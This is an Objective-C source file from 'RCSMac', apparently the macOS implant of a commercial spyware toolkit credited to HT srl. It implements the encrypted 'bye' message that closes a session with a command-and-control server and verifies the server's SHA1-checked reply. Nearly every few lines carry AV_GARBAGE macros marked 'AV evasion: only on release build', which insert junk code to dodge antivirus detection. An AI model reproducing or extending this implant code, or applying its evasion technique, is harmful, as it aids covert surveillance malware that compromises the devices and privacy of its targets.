core/Modules/ByeNetworkOperation.m
/*
* RCSMac - Bye Network Operation
*
*
* Created by revenge on 12/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "ByeNetworkOperation.h"
#import "NSMutableData+AES128.h"
#import "NSMutableData+SHA1.h"
#import "NSData+SHA1.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
@implementation ByeNetworkOperation
- (id)initWithTransport: (RESTTransport *)aTransport
{
if (self = [super init])
{
mTransport = aTransport;
// AV evasion: only on release build
AV_GARBAGE_003
return self;
}
return nil;
}
- (BOOL)perform
{
// AV evasion: only on release build
AV_GARBAGE_004
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
BOOL success = NO;
// AV evasion: only on release build
AV_GARBAGE_002
uint32_t command = PROTO_BYE;
NSMutableData *commandData = [[NSMutableData alloc] initWithBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_003
NSData *commandSha = [commandData sha1Hash];
[commandData appendData: commandSha];
// AV evasion: only on release build
AV_GARBAGE_007
[commandData encryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_007
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
NSMutableData *replyDecrypted = nil;
// AV evasion: only on release build
AV_GARBAGE_002
replyData = [mTransport sendData: commandData
returningResponse: urlResponse];
// AV evasion: only on release build
AV_GARBAGE_003
if (replyData == nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_006
return NO;
}
replyDecrypted = [[NSMutableData alloc] initWithData: replyData];
// AV evasion: only on release build
AV_GARBAGE_008
[replyDecrypted decryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_004
uint32_t protoCommand;
@try
{
// AV evasion: only on release build
AV_GARBAGE_002
[replyDecrypted getBytes: &protoCommand
range: NSMakeRange(0, sizeof(int))];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_008
return NO;
}
// remove padding
[replyDecrypted removePadding];
//
// check integrity
//
NSData *shaRemote;
NSData *shaLocal;
// AV evasion: only on release build
AV_GARBAGE_007
@try
{
shaRemote = [replyDecrypted subdataWithRange:
NSMakeRange([replyDecrypted length] - CC_SHA1_DIGEST_LENGTH,
CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_009
shaLocal = [replyDecrypted subdataWithRange:
NSMakeRange(0, [replyDecrypted length] - CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_001
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
[replyDecrypted release];
// AV evasion: only on release build
AV_GARBAGE_002
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_001
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_007
shaLocal = [shaLocal sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_009
if ([shaRemote isEqualToData: shaLocal] == NO)
{
// AV evasion: only on release build
AV_GARBAGE_008
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
if (protoCommand == PROTO_OK)
{
// AV evasion: only on release build
AV_GARBAGE_006
success = YES;
}
// AV evasion: only on release build
AV_GARBAGE_004
[commandData release];
[replyDecrypted release];
// AV evasion: only on release build
AV_GARBAGE_002
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_001
return success;
}
@end